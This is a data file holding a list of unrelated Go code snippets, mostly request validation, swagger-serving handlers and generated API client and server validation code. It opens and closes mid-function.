{\n\t\t\t\t\tbuf.Reset()\n\t\t\t\t\tbufPool.Put(buf)\n\t\t\t\t\tWriteErr(api, ctx, http.StatusBadRequest, \"request body is required\", res.Errors...)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tparseErrCount := 0\n\t\t\t\tif !op.SkipValidateBody {\n\t\t\t\t\t// Validate the input. First, parse the body into []any or map[string]any\n\t\t\t\t\t// or equivalent, which can be easily validated. Then, convert to the\n\t\t\t\t\t// expected struct type to call the handler.\n\t\t\t\t\tvar parsed any\n\t\t\t\t\tif err := api.Unmarshal(ctx.Header(\"Content-Type\"), body, &parsed); err != nil {\n\t\t\t\t\t\t// TODO: handle not acceptable\n\t\t\t\t\t\terrStatus = http.StatusBadRequest\n\t\t\t\t\t\tres.Errors = append(res.Errors, &ErrorDetail{\n\t\t\t\t\t\t\tLocation: \"body\",\n\t\t\t\t\t\t\tMessage: err.Error(),\n\t\t\t\t\t\t\tValue: body,\n\t\t\t\t\t\t})\n\t\t\t\t\t\tparseErrCount++\n\t\t\t\t\t} else {\n\t\t\t\t\t\tpb.Reset()\n\t\t\t\t\t\tpb.Push(\"body\")\n\t\t\t\t\t\tcount := len(res.Errors)\n\t\t\t\t\t\tValidate(oapi.Components.Schemas, inSchema, pb, ModeWriteToServer, parsed, res)\n\t\t\t\t\t\tparseErrCount = len(res.Errors) - count\n\t\t\t\t\t\tif parseErrCount > 0 {\n\t\t\t\t\t\t\terrStatus = http.StatusUnprocessableEntity\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// We need to get the body into the correct type now that it has been\n\t\t\t\t// validated. Benchmarks on Go 1.20 show that using `json.Unmarshal` a\n\t\t\t\t// second time is faster than `mapstructure.Decode` or any of the other\n\t\t\t\t// common reflection-based approaches when using real-world medium-sized\n\t\t\t\t// JSON payloads with lots of strings.\n\t\t\t\tf := v.Field(inputBodyIndex)\n\t\t\t\tif err := api.Unmarshal(ctx.Header(\"Content-Type\"), body, f.Addr().Interface()); err != nil {\n\t\t\t\t\tif parseErrCount == 0 {\n\t\t\t\t\t\t// Hmm, this should have worked... validator missed something?\n\t\t\t\t\t\tres.Errors = append(res.Errors, &ErrorDetail{\n\t\t\t\t\t\t\tLocation: \"body\",\n\t\t\t\t\t\t\tMessage: err.Error(),\n\t\t\t\t\t\t\tValue: string(body),\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// Set defaults for any fields that were not in the input.\n\t\t\t\t\tdefaults.Every(v, func(item reflect.Value, def any) {\n\t\t\t\t\t\tif item.IsZero() {\n\t\t\t\t\t\t\titem.Set(reflect.Indirect(reflect.ValueOf(def)))\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t}\n\n\t\t\t\tbuf.Reset()\n\t\t\t\tbufPool.Put(buf)\n\t\t\t}\n\t\t}\n\n\t\tresolvers.EveryPB(pb, v, func(item reflect.Value, _ bool) {\n\t\t\tif resolver, ok := item.Addr().Interface().(Resolver); ok {\n\t\t\t\tif errs := resolver.Resolve(ctx); len(errs) > 0 {\n\t\t\t\t\tres.Errors = append(res.Errors, errs...)\n\t\t\t\t}\n\t\t\t} else if resolver, ok := item.Addr().Interface().(ResolverWithPath); ok {\n\t\t\t\tif errs := resolver.Resolve(ctx, pb); len(errs) > 0 {\n\t\t\t\t\tres.Errors = append(res.Errors, errs...)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tpanic(\"matched resolver cannot be run, please file a bug\")\n\t\t\t}\n\t\t})\n\n\t\tif len(res.Errors) > 0 {\n\t\t\tWriteErr(api, ctx, errStatus, \"validation failed\", res.Errors...)\n\t\t\treturn\n\t\t}\n\n\t\toutput, err := handler(ctx.Context(), &input)\n\t\tif err != nil {\n\t\t\tstatus := http.StatusInternalServerError\n\t\t\tif se, ok := err.(StatusError); ok {\n\t\t\t\tstatus = se.GetStatus()\n\t\t\t} else {\n\t\t\t\terr = NewError(http.StatusInternalServerError, err.Error())\n\t\t\t}\n\n\t\t\tct, _ := api.Negotiate(ctx.Header(\"Accept\"))\n\t\t\tif ctf, ok := err.(ContentTypeFilter); ok {\n\t\t\t\tct = ctf.ContentType(ct)\n\t\t\t}\n\n\t\t\tctx.SetStatus(status)\n\t\t\tctx.SetHeader(\"Content-Type\", ct)\n\t\t\tapi.Marshal(ctx, strconv.Itoa(status), ct, err)\n\t\t\treturn\n\t\t}\n\n\t\t// Serialize output headers\n\t\tct := \"\"\n\t\tvo := reflect.ValueOf(output).Elem()\n\t\toutHeaders.Every(vo, func(f reflect.Value, info *headerInfo) {\n\t\t\tswitch f.Kind() {\n\t\t\tcase reflect.String:\n\t\t\t\tctx.SetHeader(info.Name, f.String())\n\t\t\t\tif info.Name == \"Content-Type\" {\n\t\t\t\t\tct = f.String()\n\t\t\t\t}\n\t\t\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\t\t\tctx.SetHeader(info.Name, strconv.FormatInt(f.Int(), 10))\n\t\t\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\n\t\t\t\tctx.SetHeader(info.Name, strconv.FormatUint(f.Uint(), 10))\n\t\t\tcase reflect.Float32, reflect.Float64:\n\t\t\t\tctx.SetHeader(info.Name, strconv.FormatFloat(f.Float(), 'f', -1, 64))\n\t\t\tcase reflect.Bool:\n\t\t\t\tctx.SetHeader(info.Name, strconv.FormatBool(f.Bool()))\n\t\t\tdefault:\n\t\t\t\tif f.Type() == timeType {\n\t\t\t\t\tctx.SetHeader(info.Name, f.Interface().(time.Time).Format(info.TimeFormat))\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tctx.SetHeader(info.Name, fmt.Sprintf(\"%v\", f.Interface()))\n\t\t\t}\n\t\t})\n\n\t\tstatus := op.DefaultStatus\n\t\tif outStatusIndex != -1 {\n\t\t\tstatus = int(vo.Field(outStatusIndex).Int())\n\t\t}\n\n\t\tif outBodyIndex != -1 {\n\t\t\t// Serialize output body\n\t\t\tbody := vo.Field(outBodyIndex).Interface()\n\n\t\t\tif outBodyFunc {\n\t\t\t\tbody.(func(Context))(ctx)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif b, ok := body.([]byte); ok {\n\t\t\t\tctx.SetStatus(status)\n\t\t\t\tctx.BodyWriter().Write(b)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// Only write a content type if one wasn't already written by the\n\t\t\t// response headers handled above.\n\t\t\tif ct == \"\" {\n\t\t\t\tct, err = api.Negotiate(ctx.Header(\"Accept\"))\n\t\t\t\tif err != nil {\n\t\t\t\t\tWriteErr(api, ctx, http.StatusNotAcceptable, \"unable to marshal response\", err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tif ctf, ok := body.(ContentTypeFilter); ok {\n\t\t\t\t\tct = ctf.ContentType(ct)\n\t\t\t\t}\n\n\t\t\t\tctx.SetHeader(\"Content-Type\", ct)\n\t\t\t}\n\n\t\t\tctx.SetStatus(status)\n\t\t\tapi.Marshal(ctx, strconv.Itoa(op.DefaultStatus), ct, body)\n\t\t} else {\n\t\t\tctx.SetStatus(status)\n\t\t}\n\t})\n}", "func (r RequestDrivenWebServiceHttpConfig) validate() error {\n\tif err := r.HealthCheckConfiguration.validate(); err != nil {\n\t\treturn err\n\t}\n\treturn r.Private.validate()\n}", "func (s service) Validate(ctx context.Context, model documents.Model, old documents.Model) error {\n\treturn nil\n}", "func (r *Routes) configureWellKnown(healthFunc func() bool) {\n\twellKnown := r.Group(\"/.well-known\")\n\t{\n\t\twellKnown.GET(\"/schema-discovery\", func(ctx *gin.Context) {\n\t\t\tdiscovery := struct {\n\t\t\t\tSchemaURL string `json:\"schema_url\"`\n\t\t\t\tSchemaType string `json:\"schema_type\"`\n\t\t\t\tUIURL string `json:\"ui_url\"`\n\t\t\t}{\n\t\t\t\tSchemaURL: \"/swagger.json\",\n\t\t\t\tSchemaType: \"swagger-2.0\",\n\t\t\t}\n\t\t\tctx.JSON(http.StatusOK, &discovery)\n\t\t})\n\t\twellKnown.GET(\"/health\", healthHandler(healthFunc))\n\t}\n\n\tr.GET(\"/swagger.json\", func(ctx *gin.Context) {\n\t\tctx.String(http.StatusOK, string(SwaggerJSON))\n\t})\n}", "func (r *Routes) configureWellKnown(healthFunc func() bool) {\n\twellKnown := r.Group(\"/.well-known\")\n\t{\n\t\twellKnown.GET(\"/schema-discovery\", func(ctx *gin.Context) {\n\t\t\tdiscovery := struct {\n\t\t\t\tSchemaURL string `json:\"schema_url\"`\n\t\t\t\tSchemaType string `json:\"schema_type\"`\n\t\t\t\tUIURL string `json:\"ui_url\"`\n\t\t\t}{\n\t\t\t\tSchemaURL: \"/swagger.json\",\n\t\t\t\tSchemaType: \"swagger-2.0\",\n\t\t\t}\n\t\t\tctx.JSON(http.StatusOK, &discovery)\n\t\t})\n\t\twellKnown.GET(\"/health\", healthHandler(healthFunc))\n\t}\n\n\tr.GET(\"/swagger.json\", func(ctx *gin.Context) {\n\t\tctx.String(http.StatusOK, string(SwaggerJSON))\n\t})\n}", "func (o *GetRelationTuplesNotFoundBody) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (o *GetGatewayUsingGETNotFoundBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateMessage(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func Handler(configFns ...func(*Config)) http.HandlerFunc {\n\n\tconfig := newConfig(configFns...)\n\n\t// create a template with name\n\tindex, _ := template.New(\"swagger_index.html\").Parse(indexTempl)\n\n\tre := regexp.MustCompile(`^(.*/)([^?].*)?[?|.]*$`)\n\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.Method != http.MethodGet {\n\t\t\thttp.Error(w, \"Method not allowed\", http.StatusMethodNotAllowed)\n\n\t\t\treturn\n\t\t}\n\n\t\tmatches := re.FindStringSubmatch(r.RequestURI)\n\n\t\tpath := matches[2]\n\n\t\tswitch filepath.Ext(path) {\n\t\tcase \".html\":\n\t\t\tw.Header().Set(\"Content-Type\", \"text/html; charset=utf-8\")\n\n\t\tcase \".css\":\n\t\t\tw.Header().Set(\"Content-Type\", \"text/css; charset=utf-8\")\n\t\tcase \".js\":\n\t\t\tw.Header().Set(\"Content-Type\", \"application/javascript\")\n\t\tcase \".png\":\n\t\t\tw.Header().Set(\"Content-Type\", \"image/png\")\n\t\tcase \".json\":\n\t\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\t\t}\n\n\t\tswitch path {\n\t\tcase \"index.html\":\n\t\t\t_ = index.Execute(w, config)\n\t\tcase \"doc.json\":\n\t\t\tdoc, err := swag.ReadDoc(config.InstanceName)\n\t\t\tif err != nil {\n\t\t\t\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\n\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t_, _ = w.Write([]byte(doc))\n\t\tcase \"\":\n\t\t\thttp.Redirect(w, r, matches[1]+\"/\"+\"index.html\", http.StatusMovedPermanently)\n\t\tdefault:\n\t\t\tr.URL.Path = matches[2]\n\t\t\thttp.FileServer(http.FS(swaggerFiles.FS)).ServeHTTP(w, r)\n\t\t}\n\t}\n}", "func (r *HelloReq) Validate() error {\n\treturn validate.Struct(r)\n}", "func (o *JudgeNotFoundBody) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (r *RouteSpecFields) Validate(ctx context.Context) (errs *apis.FieldError) {\n\n\tif r.Domain == \"\" {\n\t\terrs = errs.Also(apis.ErrMissingField(\"domain\"))\n\t}\n\n\tif r.Hostname == \"www\" {\n\t\terrs = errs.Also(apis.ErrInvalidValue(\"hostname\", r.Hostname))\n\t}\n\n\tif _, err := BuildPathRegexp(r.Path); err != nil {\n\t\terrs = errs.Also(apis.ErrInvalidValue(\"path\", r.Path))\n\t}\n\n\treturn errs\n}", "func (m *ArrayConnectionPathOAIGenAllOf1) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func Validate(schema *gojsonschema.Schema, document gojsonschema.JSONLoader) (*errors.Errs, error) {\n\tresult, err := schema.Validate(document)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif result.Valid() {\n\t\treturn nil, nil\n\t}\n\tvar errs errors.Errs\n\tfor _, resultErr := range result.Errors() {\n\t\terrs = append(errs, resultErrorToError(resultErr))\n\t}\n\treturn &errs, nil\n}", "func (a *NamespacesApiService) GetSchemaValidtionEnforced(ctx _context.Context, tenant string, namespace string) (bool, *_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodGet\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue bool\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/namespaces/{tenant}/{namespace}/schemaValidationEnforced\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"tenant\"+\"}\", _neturl.QueryEscape(fmt.Sprintf(\"%v\", tenant)), -1)\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"namespace\"+\"}\", _neturl.QueryEscape(fmt.Sprintf(\"%v\", namespace)), -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 200 {\n\t\t\tvar v bool\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "func (r *Route) Validate(ctx context.Context) (errs *apis.FieldError) {\n\t// If we're specifically updating status, don't reject the change because\n\t// of a spec issue.\n\tif apis.IsInStatusUpdate(ctx) {\n\t\treturn\n\t}\n\n\tif r.Name == \"\" {\n\t\terrs = errs.Also(apis.ErrMissingField(\"name\"))\n\t}\n\n\terrs = errs.Also(r.Spec.Validate(apis.WithinSpec(ctx)).ViaField(\"spec\"))\n\n\t// If we have errors, bail. No need to do the network call.\n\tif errs.Error() != \"\" {\n\t\treturn errs\n\t}\n\n\treturn checkVirtualServiceCollision(ctx, r.Spec.Hostname, r.Spec.Domain, r.GetNamespace(), errs)\n}", "func (o *DataPlaneAPI) Validate() error {\n\tvar unregistered []string\n\n\tif o.JSONConsumer == nil {\n\t\tunregistered = append(unregistered, \"JSONConsumer\")\n\t}\n\n\tif o.TxtConsumer == nil {\n\t\tunregistered = append(unregistered, \"TxtConsumer\")\n\t}\n\n\tif o.JSONProducer == nil {\n\t\tunregistered = append(unregistered, \"JSONProducer\")\n\t}\n\n\tif o.TxtProducer == nil {\n\t\tunregistered = append(unregistered, \"TxtProducer\")\n\t}\n\n\tif o.BasicAuthAuth == nil {\n\t\tunregistered = append(unregistered, \"BasicAuthAuth\")\n\t}\n\n\tif o.TransactionsCommitTransactionHandler == nil {\n\t\tunregistered = append(unregistered, \"transactions.CommitTransactionHandler\")\n\t}\n\n\tif o.ACLCreateACLHandler == nil {\n\t\tunregistered = append(unregistered, \"acl.CreateACLHandler\")\n\t}\n\n\tif o.BackendCreateBackendHandler == nil {\n\t\tunregistered = append(unregistered, \"backend.CreateBackendHandler\")\n\t}\n\n\tif o.BackendSwitchingRuleCreateBackendSwitchingRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"backend_switching_rule.CreateBackendSwitchingRuleHandler\")\n\t}\n\n\tif o.BindCreateBindHandler == nil {\n\t\tunregistered = append(unregistered, \"bind.CreateBindHandler\")\n\t}\n\n\tif o.FilterCreateFilterHandler == nil {\n\t\tunregistered = append(unregistered, \"filter.CreateFilterHandler\")\n\t}\n\n\tif o.FrontendCreateFrontendHandler == nil {\n\t\tunregistered = append(unregistered, \"frontend.CreateFrontendHandler\")\n\t}\n\n\tif o.HTTPRequestRuleCreateHTTPRequestRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"http_request_rule.CreateHTTPRequestRuleHandler\")\n\t}\n\n\tif o.HTTPResponseRuleCreateHTTPResponseRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"http_response_rule.CreateHTTPResponseRuleHandler\")\n\t}\n\n\tif o.LogTargetCreateLogTargetHandler == nil {\n\t\tunregistered = append(unregistered, \"log_target.CreateLogTargetHandler\")\n\t}\n\n\tif o.ServerCreateServerHandler == nil {\n\t\tunregistered = append(unregistered, \"server.CreateServerHandler\")\n\t}\n\n\tif o.ServerSwitchingRuleCreateServerSwitchingRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"server_switching_rule.CreateServerSwitchingRuleHandler\")\n\t}\n\n\tif o.SitesCreateSiteHandler == nil {\n\t\tunregistered = append(unregistered, \"sites.CreateSiteHandler\")\n\t}\n\n\tif o.StickRuleCreateStickRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"stick_rule.CreateStickRuleHandler\")\n\t}\n\n\tif o.TCPRequestRuleCreateTCPRequestRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_request_rule.CreateTCPRequestRuleHandler\")\n\t}\n\n\tif o.TCPResponseRuleCreateTCPResponseRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_response_rule.CreateTCPResponseRuleHandler\")\n\t}\n\n\tif o.ACLDeleteACLHandler == nil {\n\t\tunregistered = append(unregistered, \"acl.DeleteACLHandler\")\n\t}\n\n\tif o.BackendDeleteBackendHandler == nil {\n\t\tunregistered = append(unregistered, \"backend.DeleteBackendHandler\")\n\t}\n\n\tif o.BackendSwitchingRuleDeleteBackendSwitchingRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"backend_switching_rule.DeleteBackendSwitchingRuleHandler\")\n\t}\n\n\tif o.BindDeleteBindHandler == nil {\n\t\tunregistered = append(unregistered, \"bind.DeleteBindHandler\")\n\t}\n\n\tif o.FilterDeleteFilterHandler == nil {\n\t\tunregistered = append(unregistered, \"filter.DeleteFilterHandler\")\n\t}\n\n\tif o.FrontendDeleteFrontendHandler == nil {\n\t\tunregistered = append(unregistered, \"frontend.DeleteFrontendHandler\")\n\t}\n\n\tif o.HTTPRequestRuleDeleteHTTPRequestRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"http_request_rule.DeleteHTTPRequestRuleHandler\")\n\t}\n\n\tif o.HTTPResponseRuleDeleteHTTPResponseRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"http_response_rule.DeleteHTTPResponseRuleHandler\")\n\t}\n\n\tif o.LogTargetDeleteLogTargetHandler == nil {\n\t\tunregistered = append(unregistered, \"log_target.DeleteLogTargetHandler\")\n\t}\n\n\tif o.ServerDeleteServerHandler == nil {\n\t\tunregistered = append(unregistered, \"server.DeleteServerHandler\")\n\t}\n\n\tif o.ServerSwitchingRuleDeleteServerSwitchingRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"server_switching_rule.DeleteServerSwitchingRuleHandler\")\n\t}\n\n\tif o.SitesDeleteSiteHandler == nil {\n\t\tunregistered = append(unregistered, \"sites.DeleteSiteHandler\")\n\t}\n\n\tif o.StickRuleDeleteStickRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"stick_rule.DeleteStickRuleHandler\")\n\t}\n\n\tif o.TCPRequestRuleDeleteTCPRequestRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_request_rule.DeleteTCPRequestRuleHandler\")\n\t}\n\n\tif o.TCPResponseRuleDeleteTCPResponseRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_response_rule.DeleteTCPResponseRuleHandler\")\n\t}\n\n\tif o.TransactionsDeleteTransactionHandler == nil {\n\t\tunregistered = append(unregistered, \"transactions.DeleteTransactionHandler\")\n\t}\n\n\tif o.DiscoveryGetAPIEndpointsHandler == nil {\n\t\tunregistered = append(unregistered, \"discovery.GetAPIEndpointsHandler\")\n\t}\n\n\tif o.ACLGetACLHandler == nil {\n\t\tunregistered = append(unregistered, \"acl.GetACLHandler\")\n\t}\n\n\tif o.ACLGetAclsHandler == nil {\n\t\tunregistered = append(unregistered, \"acl.GetAclsHandler\")\n\t}\n\n\tif o.BackendGetBackendHandler == nil {\n\t\tunregistered = append(unregistered, \"backend.GetBackendHandler\")\n\t}\n\n\tif o.BackendSwitchingRuleGetBackendSwitchingRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"backend_switching_rule.GetBackendSwitchingRuleHandler\")\n\t}\n\n\tif o.BackendSwitchingRuleGetBackendSwitchingRulesHandler == nil {\n\t\tunregistered = append(unregistered, \"backend_switching_rule.GetBackendSwitchingRulesHandler\")\n\t}\n\n\tif o.BackendGetBackendsHandler == nil {\n\t\tunregistered = append(unregistered, \"backend.GetBackendsHandler\")\n\t}\n\n\tif o.BindGetBindHandler == nil {\n\t\tunregistered = append(unregistered, \"bind.GetBindHandler\")\n\t}\n\n\tif o.BindGetBindsHandler == nil {\n\t\tunregistered = append(unregistered, \"bind.GetBindsHandler\")\n\t}\n\n\tif o.DiscoveryGetConfigurationEndpointsHandler == nil {\n\t\tunregistered = append(unregistered, \"discovery.GetConfigurationEndpointsHandler\")\n\t}\n\n\tif o.DefaultsGetDefaultsHandler == nil {\n\t\tunregistered = append(unregistered, \"defaults.GetDefaultsHandler\")\n\t}\n\n\tif o.FilterGetFilterHandler == nil {\n\t\tunregistered = append(unregistered, \"filter.GetFilterHandler\")\n\t}\n\n\tif o.FilterGetFiltersHandler == nil {\n\t\tunregistered = append(unregistered, \"filter.GetFiltersHandler\")\n\t}\n\n\tif o.FrontendGetFrontendHandler == nil {\n\t\tunregistered = append(unregistered, \"frontend.GetFrontendHandler\")\n\t}\n\n\tif o.FrontendGetFrontendsHandler == nil {\n\t\tunregistered = append(unregistered, \"frontend.GetFrontendsHandler\")\n\t}\n\n\tif o.GlobalGetGlobalHandler == nil {\n\t\tunregistered = append(unregistered, \"global.GetGlobalHandler\")\n\t}\n\n\tif o.ConfigurationGetHAProxyConfigurationHandler == nil {\n\t\tunregistered = append(unregistered, \"configuration.GetHAProxyConfigurationHandler\")\n\t}\n\n\tif o.HTTPRequestRuleGetHTTPRequestRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"http_request_rule.GetHTTPRequestRuleHandler\")\n\t}\n\n\tif o.HTTPRequestRuleGetHTTPRequestRulesHandler == nil {\n\t\tunregistered = append(unregistered, \"http_request_rule.GetHTTPRequestRulesHandler\")\n\t}\n\n\tif o.HTTPResponseRuleGetHTTPResponseRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"http_response_rule.GetHTTPResponseRuleHandler\")\n\t}\n\n\tif o.HTTPResponseRuleGetHTTPResponseRulesHandler == nil {\n\t\tunregistered = append(unregistered, \"http_response_rule.GetHTTPResponseRulesHandler\")\n\t}\n\n\tif o.DiscoveryGetHaproxyEndpointsHandler == nil {\n\t\tunregistered = append(unregistered, \"discovery.GetHaproxyEndpointsHandler\")\n\t}\n\n\tif o.InformationGetHaproxyProcessInfoHandler == nil {\n\t\tunregistered = append(unregistered, \"information.GetHaproxyProcessInfoHandler\")\n\t}\n\n\tif o.InformationGetInfoHandler == nil {\n\t\tunregistered = append(unregistered, \"information.GetInfoHandler\")\n\t}\n\n\tif o.LogTargetGetLogTargetHandler == nil {\n\t\tunregistered = append(unregistered, \"log_target.GetLogTargetHandler\")\n\t}\n\n\tif o.LogTargetGetLogTargetsHandler == nil {\n\t\tunregistered = append(unregistered, \"log_target.GetLogTargetsHandler\")\n\t}\n\n\tif o.ReloadsGetReloadHandler == nil {\n\t\tunregistered = append(unregistered, \"reloads.GetReloadHandler\")\n\t}\n\n\tif o.ReloadsGetReloadsHandler == nil {\n\t\tunregistered = append(unregistered, \"reloads.GetReloadsHandler\")\n\t}\n\n\tif o.DiscoveryGetRuntimeEndpointsHandler == nil {\n\t\tunregistered = append(unregistered, \"discovery.GetRuntimeEndpointsHandler\")\n\t}\n\n\tif o.ServerGetRuntimeServerHandler == nil {\n\t\tunregistered = append(unregistered, \"server.GetRuntimeServerHandler\")\n\t}\n\n\tif o.ServerGetRuntimeServersHandler == nil {\n\t\tunregistered = append(unregistered, \"server.GetRuntimeServersHandler\")\n\t}\n\n\tif o.ServerGetServerHandler == nil {\n\t\tunregistered = append(unregistered, \"server.GetServerHandler\")\n\t}\n\n\tif o.ServerSwitchingRuleGetServerSwitchingRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"server_switching_rule.GetServerSwitchingRuleHandler\")\n\t}\n\n\tif o.ServerSwitchingRuleGetServerSwitchingRulesHandler == nil {\n\t\tunregistered = append(unregistered, \"server_switching_rule.GetServerSwitchingRulesHandler\")\n\t}\n\n\tif o.ServerGetServersHandler == nil {\n\t\tunregistered = append(unregistered, \"server.GetServersHandler\")\n\t}\n\n\tif o.DiscoveryGetServicesEndpointsHandler == nil {\n\t\tunregistered = append(unregistered, \"discovery.GetServicesEndpointsHandler\")\n\t}\n\n\tif o.SitesGetSiteHandler == nil {\n\t\tunregistered = append(unregistered, \"sites.GetSiteHandler\")\n\t}\n\n\tif o.SitesGetSitesHandler == nil {\n\t\tunregistered = append(unregistered, \"sites.GetSitesHandler\")\n\t}\n\n\tif o.SpecificationGetSpecificationHandler == nil {\n\t\tunregistered = append(unregistered, \"specification.GetSpecificationHandler\")\n\t}\n\n\tif o.StatsGetStatsHandler == nil {\n\t\tunregistered = append(unregistered, \"stats.GetStatsHandler\")\n\t}\n\n\tif o.DiscoveryGetStatsEndpointsHandler == nil {\n\t\tunregistered = append(unregistered, \"discovery.GetStatsEndpointsHandler\")\n\t}\n\n\tif o.StickRuleGetStickRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"stick_rule.GetStickRuleHandler\")\n\t}\n\n\tif o.StickRuleGetStickRulesHandler == nil {\n\t\tunregistered = append(unregistered, \"stick_rule.GetStickRulesHandler\")\n\t}\n\n\tif o.StickTableGetStickTableHandler == nil {\n\t\tunregistered = append(unregistered, \"stick_table.GetStickTableHandler\")\n\t}\n\n\tif o.StickTableGetStickTableEntriesHandler == nil {\n\t\tunregistered = append(unregistered, \"stick_table.GetStickTableEntriesHandler\")\n\t}\n\n\tif o.StickTableGetStickTablesHandler == nil {\n\t\tunregistered = append(unregistered, \"stick_table.GetStickTablesHandler\")\n\t}\n\n\tif o.TCPRequestRuleGetTCPRequestRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_request_rule.GetTCPRequestRuleHandler\")\n\t}\n\n\tif o.TCPRequestRuleGetTCPRequestRulesHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_request_rule.GetTCPRequestRulesHandler\")\n\t}\n\n\tif o.TCPResponseRuleGetTCPResponseRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_response_rule.GetTCPResponseRuleHandler\")\n\t}\n\n\tif o.TCPResponseRuleGetTCPResponseRulesHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_response_rule.GetTCPResponseRulesHandler\")\n\t}\n\n\tif o.TransactionsGetTransactionHandler == nil {\n\t\tunregistered = append(unregistered, \"transactions.GetTransactionHandler\")\n\t}\n\n\tif o.TransactionsGetTransactionsHandler == nil {\n\t\tunregistered = append(unregistered, \"transactions.GetTransactionsHandler\")\n\t}\n\n\tif o.ConfigurationPostHAProxyConfigurationHandler == nil {\n\t\tunregistered = append(unregistered, 